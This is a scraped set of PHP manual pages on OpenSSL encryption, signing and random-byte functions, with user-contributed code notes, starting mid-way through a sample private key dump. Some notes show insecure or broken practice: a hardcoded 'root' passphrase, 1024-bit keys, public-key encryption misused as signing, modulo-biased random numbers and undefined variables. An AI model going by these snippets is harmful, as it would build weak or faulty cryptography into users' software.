AoGBAJe1jjNCDtoz19vi4doBdIhhT8vt3iHbafBX2lMr+MceeAXqpRNy10+e9op9
uh0G4+vGDialZnYbMBLs6Ngl+nVnzn+cN1MMJ18brgf3biZKzVzK9wmOW4eycWaR
9eLa7/+ns8Cw5GsLJdG+OHR2gXRXU4hzUFdf90UUbP+kuqK1AkEA2X04XznFDNmT
NuhyCixwinlziazJBp/81jjaBhYj3cG0nTF0Gactc/yD0yudbrMqjLBfts+FbG3Z
yFHKrAB/cwJBANKetll3M3aCGsermEK+9hbB8yMihCju6pAwClUNkrAgrm9zU4LP
WkC81RDzXbz+pfIqpopfn34F3+U2iMiOe1MCQCXpTgpLZ631v1Oy8S4U0QlSYnF9
TQ16lfhBsL+e3GGrgnBkTniqS6IMQm5tC+RgFuqvU//p7LgZ7fydRVb2P0ECQFp9
YADuKskmutTAj6lVnCtI5upYgQmJJHQQf8/tBfHwCKHPnbic17zqpGwk80go7Ckw
U98tmDuv0HMNTBVGygsCQALck7VNBRjL9iFzJMFis+alcP1ZC88wOLPvIxYbevUH
c8rZwRqt1aHwaWOoxcVom+tyzRC6gEYoBarmU1bX4No=
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCy745x8AqGKlTWBu2Ub80boPaQ
xo/midZ4LHZ0zbPpiCAfkADNVYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf
8K/mA0LQ00MKBFaFottWt5cCIaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTv
pXRk0u46D6hKiy+TSQIDAQAB
-----END PUBLIC KEY-----
"
this is a test for crypting
( ¦E@n¥u?7Fëµ¥+-M¼ìk?7¥;t?8[j¼ñrƒ¦ª-TÜ++ßYG?-úö¦}9+k8OJn_?¦x?¦
dó+aév.cå?-ï`,¦?·5u¦p%Z²¤ÜI?û ¼

( ¦E@n¥u?7Fëµ¥+-M¼ìk?7¥;t?8[j¼ñrƒ¦ª-TÜ++ßYG?-úö¦}9+k8OJn_?¦x?¦
dó+aév.cå?-ï`,¦?·5u¦p%Z²¤ÜI?û ¼->this is a test for crypting

this is a test for crypting->hT!¡_
#+£-íßÿo»¢äSs+üSnäÖ-(¦ëIkl[¤¦=?í?Ç+Uy·N,=b=+¦TàmeNo¦A~ùÑtü¦@ÿ½»¦SV5Ñª*¦?·UÿoPÖFq
-? O{²¦á|,äIN)+_-öF+*¦{|??G-??£/?¬±"PFL

hT!¡_
#+£-íßÿo»¢äSs+üSnäÖ-(¦ëIkl[¤¦=?í?Ç+Uy·N,=b=+¦TàmeNo¦A~ùÑtü¦@ÿ½»¦SV5Ñª*¦?·UÿoPÖFq
-? O{²¦á|,äIN)+_-öF+*¦{|??G-??£/?¬±"PFL->this is a test for crypting
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 09-Mar-2002 12:50
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 07:47
<?php
$fp=fopen ("/path/to/key.pem","r");
$priv_key=fread ($fp,8192);
fclose($fp);
openssl_get_privatekey ($priv_key);
openssl_private_encrypt($source,$finaltext,$priv_key);
echo "String crypted: $finaltext";
?>

CIAO !


Decrypts data with public key

  • « openssl_private_encrypt
  • openssl_public_encrypt »
  • PHP Manual
  • OpenSSL Functions
  • Decrypts data with public key

openssl_public_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_public_decrypt — Decrypts data with public key

Description

bool openssl_public_decrypt ( string $data , string &$decrypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_public_decrypt() decrypts data that was previous encrypted via openssl_private_encrypt() and stores the result into decrypted.

You can use this function e.g. to check if the message was written by the owner of the private key.

Parameters

data

decrypted

key

key must be the public key corresponding that was used to encrypt the data.

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_private_encrypt() - Encrypts data with private key
  • openssl_private_decrypt() - Decrypts data with private key

User Contributed Notes

wfredkNOSPAM at L5DevelopmentNOSPAM dot com 09-Mar-2002 12:52
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 07:41
<?php
$fp=fopen ("/path/to/certificato.pem");
$pub_key=fread ($fp,8192);
openssl_get_publickey ($pub_key);
openssl_public_decrypt ($source,$finaltext,$pub_key);
echo "String decrypt : $finaltext";
?>


Encrypts data with public key

  • « openssl_public_decrypt
  • openssl_random_pseudo_bytes »
  • PHP Manual
  • OpenSSL Functions
  • Encrypts data with public key

openssl_public_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_public_encrypt — Encrypts data with public key

Description

bool openssl_public_encrypt ( string $data , string &$crypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_public_encrypt() encrypts data with public key and stores the result into crypted. Encrypted data can be decrypted via openssl_private_decrypt().

This function can be used e.g. to encrypt message which can be then read only by owner of the private key. It can be also used to store secure data in database.

Parameters

data

crypted

This will hold the result of the encryption.

key

The public key.

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_private_encrypt() - Encrypts data with private key
  • openssl_private_decrypt() - Decrypts data with private key

User Contributed Notes

AoK 03-Jun-2014 12:16
Very important to recognize the maximum size $data string constraint and its relation to SSL bit size as pointed out by others.  Before I addressed the maximum size limit through blocking the data, I was receiving these types of errors from openssl_error_string():
- error:0906D06C:PEM routines:PEM_read_bio:no start line  OR
- error:0E06D06C:configuration file routines:NCONF_get_string:no value
Using a key (sha512, OPENSSL_KEYTYPE_RSA) with 2048 bits, I had a maximum message size of 245 bytes and 4096 bits yielded a max size of 502 bytes.  So if you change your key size later, in particular if you reduce the size of it, be aware it affects your maximum encryption length.
sumadhuracool at gmail dot com 23-Jun-2011 01:22
length of the data < length of the private key ..so i divided the message while taking it,put a ":::".then again encrpt it. look at the pgm to get an idea about this..

<?php
    class cry
    {
            # generate a 1024 bit rsa private key, ask for a passphrase to encrypt it and save to file
            //openssl genrsa -des3 -out /path/to/privatekey 1024

            # generate the public key for the private key and save to file
            //openssl rsa -in /path/to/privatekey -pubout -out /path/to/publickey
            //programatically using php-openssll

            //This will call while registration
            function gen_cert($userid)
            {
                $dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" =>'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@example.com');
                //Passphrase can be taken during registration
                //Here its initialized to 1234 for sample
                $privkeypass = 'root';
                $numberofdays = 365;
                //RSA encryption and 1024 bits length
                $privkey = openssl_pkey_new(array('private_key_bits' => 1024,'private_key_type' => OPENSSL_KEYTYPE_RSA));
                $csr = openssl_csr_new($dn, $privkey);
                $sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
                openssl_x509_export($sscert, $publickey);
                openssl_pkey_export($privkey, $privatekey, $privkeypass);
                openssl_csr_export($csr, $csrStr);
                //Generated keys are stored into files
                $fp=fopen("../PKI/private/$userid.key","w");
                fwrite($fp,$privatekey);
                fclose($fp);
                $fp=fopen("../PKI/public/$userid.crt","w");
                fwrite($fp,$publickey);
                fclose($fp);
            }
            //Encryption with public key
            function encrypt($source,$rc)
            {
                //path holds the certificate path present in the system
                $path="../PKI/public/server.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
            //$source='';
                //$source="sumanth ahoiadodakjaksdsa;ldadkkllksdalkalsdl;asld;ls sumanthasddddddddddddddddddddddddddddddddfsdfsffdfsdfsumanth";
                $j=0;
                $x=strlen($source)/10;
                $y=floor($x);
                for($i=0;$i<$y;$i++)
                {
                $crypttext='';

                openssl_public_encrypt(substr($source,$j,10),$crypttext,$pub_key);$j=$j+10;
                $crt.=$crypttext;
                $crt.=":::";
                }
                if((strlen($source)%10)>0)
                {
                openssl_public_encrypt(substr($source,$j),$crypttext,$pub_key);
                $crt.=$crypttext;
                }
                return($crt);

            }
            //Decryption with private key
            function decrypt($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/server.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                $tt=explode(":::",$crypttext);
                $cnt=count($tt);
                $i=0;
                while($i<$cnt)
                {
                openssl_private_decrypt($tt[$i],$str1,$res1);
                $str.=$str1;
                $i++;
                }
                return $str;
        }
            function sign($source,$rc)
            {
                $has=sha1($source);
                $source.="::";
                $source.=$has;
                $path="../PKI/public/$rc.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
                openssl_public_encrypt($source,$mese,$pub_key);
                return $mese;

            }
            function verify($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/$userid.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                openssl_private_decrypt($crypttext,$has1,$res1);
                list($c1,$c2)=split("::",$has1);
                $has=sha1($c1);
                if($has==$c2)
                {
                    $message=$c1;
                    return $message;
                }
            }

    }
?>
ppostma1 14-Jun-2011 09:09
The confusion most have seems to be on "mixed $key"

The $key is explained in, and mostly the same as the parameter of http://www.php.net/manual/en/function.openssl-pkey-get-public.php

It can take the resource $key returned from openssl_pkey_get_public() OR find the value is text and passes the text to openssl_pkey_get_public() to get a valid resource.

To better break down rstinnett's example:
(and where the flaw is)

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext,$pub_key_string);
  /*this simply passes the string contents of pub_key_string back to be decoded*/
  return(base64_encode($crypttext));
}
?>

is more efficient:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  $key_resource = openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext, $key_resource );
  /*uses the already existing key resource*/
  return(base64_encode($crypttext));
}
?>

shorter:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);

  openssl_public_encrypt($source,$crypttext, $pub_key );

  return(base64_encode($crypttext));
}
?>
Mark Seecof 16-Jul-2010 09:37
If you need a message key, obtain it from the openssl_random_pseudo_bytes() function.

DO NOT just hash the current time-- an attacker will guess any such key very easily (he'll just hash a bunch of likely time values and try them until he finds the right one.  The attacker can generate and test many millions of candidate hashes every minute using an ordinary PC).
public at grik dot net 25-Dec-2009 07:10
openssl_private_encrypt() has a low limit for the length of the data it can encrypt due to the nature of the algorithm.

To encrypt the larger data you can use openssl_encrypt() with a random password (like sha1(microtime(true))), and encrypt the password with openssl_public_encrypt().
This way the data can be encrypted with a public key and decrypted with the private one.
adrian 02-Sep-2005 11:53
T. Horsten explained the size limits on raw encryption. Here are two functions to encrypt/decrypt larger data when you can't use the envelope functions:

function ssl_encrypt($source,$type,$key){
//Assumes 1024 bit key and encrypts in chunks.

$maxlength=117;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_encrypt($input,$encrypted,$key);
  }else{
    $ok= openssl_public_encrypt($input,$encrypted,$key);
  }

  $output.=$encrypted;
}
return $output;
}

function ssl_decrypt($source,$type,$key){
// The raw PHP decryption functions appear to work
// on 128 Byte chunks. So this decrypts long text
// encrypted with ssl_encrypt().

$maxlength=128;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_decrypt($input,$out,$key);
  }else{
    $ok= openssl_public_decrypt($input,$out,$key);
  }

  $output.=$out;
}
return $output;

}
Thomas Horsten 17-Aug-2005 01:21
chsnyder writes that the data is limited to 936 bits in his implementation.

Actually, it has nothing to do with RSA being CPU intensive, RAM or anything of the sort.

Basically when you encrypt something using an RSA key (whether public or private), the encrypted value must be smaller than the key (due to the maths used to do the actual encryption). So if you have a 1024-bit key, in theory you could encrypt any 1023-bit value (or a 1024-bit value smaller than the key) with that key.

However, the PKCS#1 standard, which OpenSSL uses, specifies a padding scheme (so you can encrypt smaller quantities without losing security), and that padding scheme takes a minimum of 11 bytes (it will be longer if the value you're encrypting is smaller). So the highest number of bits you can encrypt with a 1024-bit key is 936 bits because of this (unless you disable the padding by adding the OPENSSL_NO_PADDING flag, in which case you can go up to 1023-1024 bits). With a 2048-bit key it's 1960 bits instead.

But as chsnyder correctly wrote, the normal application of a public key encryption algorithm is to store a key or a hash of the data you want to respectively encrypt or sign. A hash is typically 128-256 bits (the PHP sha1() function returns a 160 bit hash). And an AES key is 128 to 256 bits. So either of those will comfortably fit inside a single RSA encryption.
kenashkov at gmail dot com 30-Jun-2005 02:04
The encrypted data can be stored in MySQL without use of base64. It must be properly escaped with mysql_real_escape_string(), and then saved to BLOB column. (In fact - this function must be used every time when you insert binary data in MySQL).
chsnyder at gmail dot com 19-Feb-2005 06:18
In comment below, Jeff says the input to this function is limited to "about 50 characters". On my PHP5 build, the limit is 117 characters (936 bits, strange number).

That's because public key encryption is CPU intensive, and meant to be used on short values. The idea is to use this function to encrypt a secret key that is in turn used to encrypt data using a more efficient algorithm, such as RC4 or TripleDES. The recipient uses their private key to decrypt the secret, and can then decrypt the data.

The openssl_seal() and openssl_open() functions do this internally, and are very well documented. You should probably use them instead.
pigo at ms5 dot url dot com dot tw 11-Nov-2004 09:33
openssl_public_encrypt and openssl_private_encrypt can't encrypt large data . so I write a class . this class can encrypt large data and decrypt.

look url : http://pigo.pigo.idv.tw/opensslcrypt.phps
rstinnett at bfmhconsulting dot com 07-Oct-2004 03:37
To store the encrypted data in a MySQL database, you first have to encode the data so it can safely be written. You can use a blob type for this, but it can make SELECTs really nasty. The easiest way I have found to do this is with base64_encode and base64_decode. The following example using code from a previous example and split into encrypt and decrypt functions.

function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);
  /*
   * NOTE:  Here you use the $pub_key value (converted, I guess)
   */
  openssl_public_encrypt($source,$crypttext,$pub_key);
  return(base64_encode($crypttext));
}

function DecryptData($source)
{
  #print("number : $number");
  $fp=fopen("/etc/httpd/conf/ssl.key/server.key","r");
  $priv_key=fread($fp,8192);
  fclose($fp);
  // $passphrase is required if your key is encoded (suggested)
  $res = openssl_get_privatekey($priv_key,$passphrase);
  /*
   * NOTE:  Here you use the returned resource value
   */
  $decoded_source = base64_decode($source);
  openssl_private_decrypt($decoded_source,$newsource,$res);
  return($newsource);
}

Just use the return values to store the encrypted data or display the decrypted data.
Jeff 11-May-2004 09:18
I figured it out.  This function is not intended for general encryption and decryption.  For that, you want openssl_seal() and openssl_open().
Jeff 10-May-2004 11:15
It looks like there is a limit on the size of the string to be encrypted: about 50 characters.

This is due to the fact that the implementation allocates an output buffer of size EVP_PKEY_size(pkey), which is totally arbitrary and unrelated to the size of the input.  Also, it's not using a cipher envelope approach.  It's just RSAing the input string.
lonewolf at greyskydesigns dot com 17-Apr-2003 07:28
Easy way:

<?php

$publicKey = "file://path/to/public/key-crt.pem";
$plaintext = "String to encrypt";

openssl_public_encrypt($plaintext, $encrypted, $publicKey);

echo $encrypted;   //encrypted string

?>
webmaster at costarica-travelinfo dot com 13-Mar-2003 11:51
This example worked for me:

RedHat 7.2 / php 4.2.2 / Apache 1.3.7

// STEP 1: Encryption with Public Key (you will need Private Key to decrypt - see step2).

$string="Some Important Data";
$fp=fopen ("cert.pem","r");
$pub_key=fread ($fp,8192);
fclose($fp);
$PK="";
$PK=openssl_get_publickey($pub_key);
if (!$PK) {
    echo "Cannot get public key";
}
$finaltext="";
openssl_public_encrypt($string,$finaltext,$PK);
if (!empty($finaltext)) {
    openssl_free_key($PK);
    echo "Encryption OK!";
}else{
    echo "Cannot Encrypt";
}

// STEP 2: Decription (Using Private Key)

$fp=fopen ("pk.pem","r");
$priv_key2=fread ($fp,8192);
fclose($fp);
$PK2=openssl_get_privatekey($priv_key2);
$Crypted=openssl_private_decrypt($Data,$Decrypted,$PK2);
if (!$Crypted) {
    $MSG.="<p class='error'>Cannot Decrypt ($CCID).</p>";
}else{
    echo "Decrypted Data: " . $Decrypted;
}
hromi at kyberia dot sk 07-Oct-2002 07:31
function description is wrong, you have to switch crypttext and text if you want it to work
this is correct:
bool openssl_public_encrypt ( string crypted, string data, mixed key [, int padding])
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 09-Mar-2002 12:56
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


Generate a pseudo-random string of bytes

  • « openssl_public_encrypt
  • openssl_seal »
  • PHP Manual
  • OpenSSL Functions
  • Generate a pseudo-random string of bytes

openssl_random_pseudo_bytes

(PHP 5 >= 5.3.0)

openssl_random_pseudo_bytes — Generate a pseudo-random string of bytes

Description

string openssl_random_pseudo_bytes ( int $length [, bool &$crypto_strong ] )

Generates a string of pseudo-random bytes, with the number of bytes determined by the length parameter.

It also indicates if a cryptographically strong algorithm was used to produce the pseudo-random bytes, and does this via the optional crypto_strong parameter. It's rare for this to be FALSE, but some systems may be broken or old.

Parameters

length

The length of the desired string of bytes. Must be a positive integer. PHP will try to cast this parameter to a non-null integer to use it.

crypto_strong

If passed into the function, this will hold a boolean value that determines if the algorithm used was "cryptographically strong", e.g., safe for usage with GPG, passwords, etc. TRUE if it did, otherwise FALSE

Return Values

Returns the generated string of bytes on success, or FALSE on failure.

Examples

Example #1 openssl_random_pseudo_bytes() example

<?php
for ($i = -1; $i <= 4; $i++) {
    $bytes = openssl_random_pseudo_bytes($i, $cstrong);
    $hex   = bin2hex($bytes);

    echo "Lengths: Bytes: $i and Hex: " . strlen($hex) . PHP_EOL;
    var_dump($hex);
    var_dump($cstrong);
    echo PHP_EOL;
}
?>

The above example will output something similar to:

Lengths: Bytes: -1 and Hex: 0
string(0) ""
NULL

Lengths: Bytes: 0 and Hex: 0
string(0) ""
NULL

Lengths: Bytes: 1 and Hex: 2
string(2) "42"
bool(true)

Lengths: Bytes: 2 and Hex: 4
string(4) "dc6e"
bool(true)

Lengths: Bytes: 3 and Hex: 6
string(6) "288591"
bool(true)

Lengths: Bytes: 4 and Hex: 8
string(8) "ab86d144"
bool(true)

See Also

  • bin2hex() - Convert binary data into hexadecimal representation
  • crypt() - One-way string hashing
  • mt_rand() - Generate a better random value
  • uniqid() - Generate a unique ID

User Contributed Notes

nahun@telemako 13-Sep-2013 04:25
Here's an example to show the distribution of random numbers as an image. Credit to Hayley Watson at the mt_rand page for the original comparison between rand and mt_rand.

rand is red, mt_rand is green and openssl_random_pseudo_bytes is blue.

NOTE: This is only a basic representation of the distribution of the data. Has nothing to do with the strength of the algorithms or their reliability.

<?php
header("Content-type: image/png");
$sizex=800;
$sizey=800;

$img = imagecreatetruecolor(3 * $sizex,$sizey);
$r = imagecolorallocate($img,255, 0, 0);
$g = imagecolorallocate($img,0, 255, 0);
$b = imagecolorallocate($img,0, 0, 255);
imagefilledrectangle($img, 0, 0, 3 * $sizex, $sizey, imagecolorallocate($img, 255, 255, 255));

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = rand(0,$sizex);
    imagesetpixel($img, $p, $np, $r);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = mt_rand(0,$sizex);
    imagesetpixel($img, $p + $sizex, $np, $g);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = floor($sizex*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    imagesetpixel($img, $p + (2*$sizex), $np, $b);
    $p = $np;
}

imagepng($img);
imagedestroy($img);
?>
Anonymous 06-May-2012 09:17
Another way to get random 32bit ints:
function myRand($max){
    do{
        $result = floor($max*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    }while($result == $max);
    return $result;
}
christophe dot weis at statec dot etat dot lu 09-Jun-2011 09:09
Another replacement for rand() using OpenSSL.

Note that a solution where the result is truncated using the modulo operator ( % ) is not cryptographically secure, as the generated numbers are not equally distributed, i.e. some numbers may occur more often than others.

A better solution than using the modulo operator is to drop the result if it is too large and generate a new one.

<?php
function crypto_rand_secure($min, $max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $log = log($range, 2);
        $bytes = (int) ($log / 8) + 1; // length in bytes
        $bits = (int) $log + 1; // length in bits
        $filter = (int) (1 << $bits) - 1; // set all lower bits to 1
        do {
            $rnd = hexdec(bin2hex(openssl_random_pseudo_bytes($bytes, $s)));
            $rnd = $rnd & $filter; // discard irrelevant bits
        } while ($rnd >= $range);
        return $min + $rnd;
}
?>
crrodriguez at opensuse dot org 19-Jan-2011 06:32
Remember to request at very least 8 bytes of entropy, ideally 32 or 64, to avoid possible theorical bruteforce attacks.
acatalept at gmail 11-Jan-2011 08:24
FYI, openssl_random_pseudo_bytes() can be incredibly slow under Windows, to the point of being unusable.  It frequently times out (>30 seconds execution time) on several Windows machines of mine.

Apparently, it's a known problem with OpenSSL (not PHP specifically).

See: http://www.google.com/search?q=openssl_random_pseudo_bytes+slow
Tyler Larson 22-Aug-2009 12:18
Here's a drop-in replacement for rand() using OpenSSL as your PRNG:

<?php
    function crypto_rand($min,$max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $length = (int) (log($range,2) / 8) + 1;
        return $min + (hexdec(bin2hex(openssl_random_pseudo_bytes($length,$s))) % $range);
    }
?>
Tyler Larson 21-Aug-2009 11:29
If you don't have this function but you do have OpenSSL installed, you can always fake it:

<?php
    function openssl_random_pseudo_bytes($length) {
        $length_n = (int) $length; // shell injection is no fun
        $handle = popen("/usr/bin/openssl rand $length_n", "r");
        $data = stream_get_contents($handle);
        pclose($handle);
        return $data;
    }
?>


Seal (encrypt) data

  • « openssl_random_pseudo_bytes
  • openssl_sign »
  • PHP Manual
  • OpenSSL Functions
  • Seal (encrypt) data

openssl_seal

(PHP 4 >= 4.0.4, PHP 5)

openssl_seal — Seal (encrypt) data

Description

int openssl_seal ( string $data , string &$sealed_data , array &$env_keys , array $pub_key_ids [, string $method ] )

openssl_seal() seals (encrypts) data by using RC4 with a randomly generated secret key. The key is encrypted with each of the public keys associated with the identifiers in pub_key_ids and each encrypted key is returned in env_keys. This means that one can send sealed data to multiple recipients (provided one has obtained their public keys). Each recipient must receive both the sealed data and the envelope key that was encrypted with the recipient's public key.

Parameters

data

sealed_data

env_keys

pub_key_ids

Return Values

Returns the length of the sealed data on success, or FALSE on error. If successful the sealed data is returned in sealed_data, and the envelope keys in env_keys.

Examples

Example #1 openssl_seal() example

<?php
// $data is assumed to contain the data to be sealed

// fetch public keys for our recipients, and ready them
$fp = fopen("/src/openssl-0.9.6/demos/maurice/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk1 = openssl_get_publickey($cert);
// Repeat for second recipient
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk2 = openssl_get_publickey($cert);

// seal message, only owners of $pk1 and $pk2 can decrypt $sealed with keys
// $ekeys[0] and $ekeys[1] respectively.
openssl_seal($data, $sealed, $ekeys, array($pk1, $pk2));

// free the keys from memory
openssl_free_key($pk1);
openssl_free_key($pk2);
?>

See Also

  • openssl_open() - Open sealed data

User Contributed Notes

omnibus at omnibus dot edu dot pl 19-Feb-2009 12:38
Note that openssl_seal() causes Internal Server Error if $data is an empty string.
hfuecks at nospam dot org 29-Oct-2007 04:44
openssl_seal() can work well when you need to pass data securely to other platforms / languages. What openssl_seal() does is;

1. Generate a random key
2. Encrypt the data symmetrically with RC4 using the random key
3. Encrypt the random key itself with RSA using the public key / certificate
4. Returns the encrypted data and the encrypted key

So to decrypt the steps are simply;

1. Decrypt the key using RSA and your private key
2. Decrypt the data using RC4 and the decrypted key

The trickiest part may be figuring out how handle the private key - BouncyCastle ( http://www.bouncycastle.org/ ) provides a PEMReader for Java and C# while Not Yet commons-ssl ( http://juliusdavies.ca/commons-ssl/ ) has a KeyStoreBuilder to build Java keystores out of a PEM certificate.

A complete example in Java is described at http://blog.local.ch/archive/2007/10/29/openssl-php-to-java.html
devel@no-spam 15-Jun-2005 03:20
"seals (encrypts) data by using RC4 with a randomly generated secret key"
It should be noted that the randomly generated secret key is 128 bits long (openssl: EVP_rc4(void):  RC4 stream cipher. This is a variable key length cipher with default key length 128 bits.)


Generate signature

  • « openssl_seal
  • openssl_spki_export_challenge »
  • PHP Manual
  • OpenSSL Functions
  • Generate signature

openssl_sign

(PHP 4 >= 4.0.4, PHP 5)

openssl_sign — Generate signature

Description

bool openssl_sign ( string $data , string &$signature , mixed $priv_key_id [, mixed $signature_alg = OPENSSL_ALGO_SHA1 ] )

openssl_sign() computes a signature for the specified data by generating a cryptographic digital signature using the private key associated with priv_key_id. Note that the data itself is not encrypted.

Parameters

data

The string of data you wish to sign

signature

If the call was successful the signature is returned in signature.

priv_key_id

resource - a key, returned by openssl_get_privatekey()

string - a PEM formatted key

signature_alg

int - one of these Signature Algorithms.

string - a valid string returned by openssl_get_md_methods() example, "sha256WithRSAEncryption" or "sha384".

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_sign() example

<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$pkeyid = openssl_pkey_get_private("file://src/openssl-0.9.6/demos/sign/key.pem");

// compute signature
openssl_sign($data, $signature, $pkeyid);

// free the key from memory
openssl_free_key($pkeyid);
?>

Example #2 openssl_sign() example

<?php
//data you want to sign
$data = 'my data';

//create new private and public key
$new_key_pair = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
openssl_pkey_export($new_key_pair, $private_key_pem);

$details = openssl_pkey_get_details($new_key_pair);
$public_key_pem = $details['key'];

//create signature
openssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA256);

//save for later
file_put_contents('private_key.pem', $private_key_pem);
file_put_contents('public_key.pem', $public_key_pem);
file_put_contents('signature.dat', $signature);

//verify signature
$r = openssl_verify($data, $signature, $public_key_pem, "sha256WithRSAEncryption");
var_dump($r);
?>

See Also

  • openssl_verify() - Verify signature

User Contributed Notes

Chris Kistner 20-Jul-2010 02:53
The list of Signature Algorithms (constants) is very limited! Fortunately the newer versions of php/openssl allow you to specify the signature algorithm as a string.

You can use the 'openssl_get_md_methods' method to get a list of digest methods. Only some of them may be used to sign with RSA private keys.

Those that can be used to sign with RSA private keys are: md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha512

Here's the modified Example #1 with SHA-512 hash:
<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature with SHA-512
openssl_sign($data, $signature, $pkeyid, "sha512");

// free the key from memory
openssl_free_key($pkeyid);
?>
edmarw at yahoo dot com 04-Sep-2007 06:22
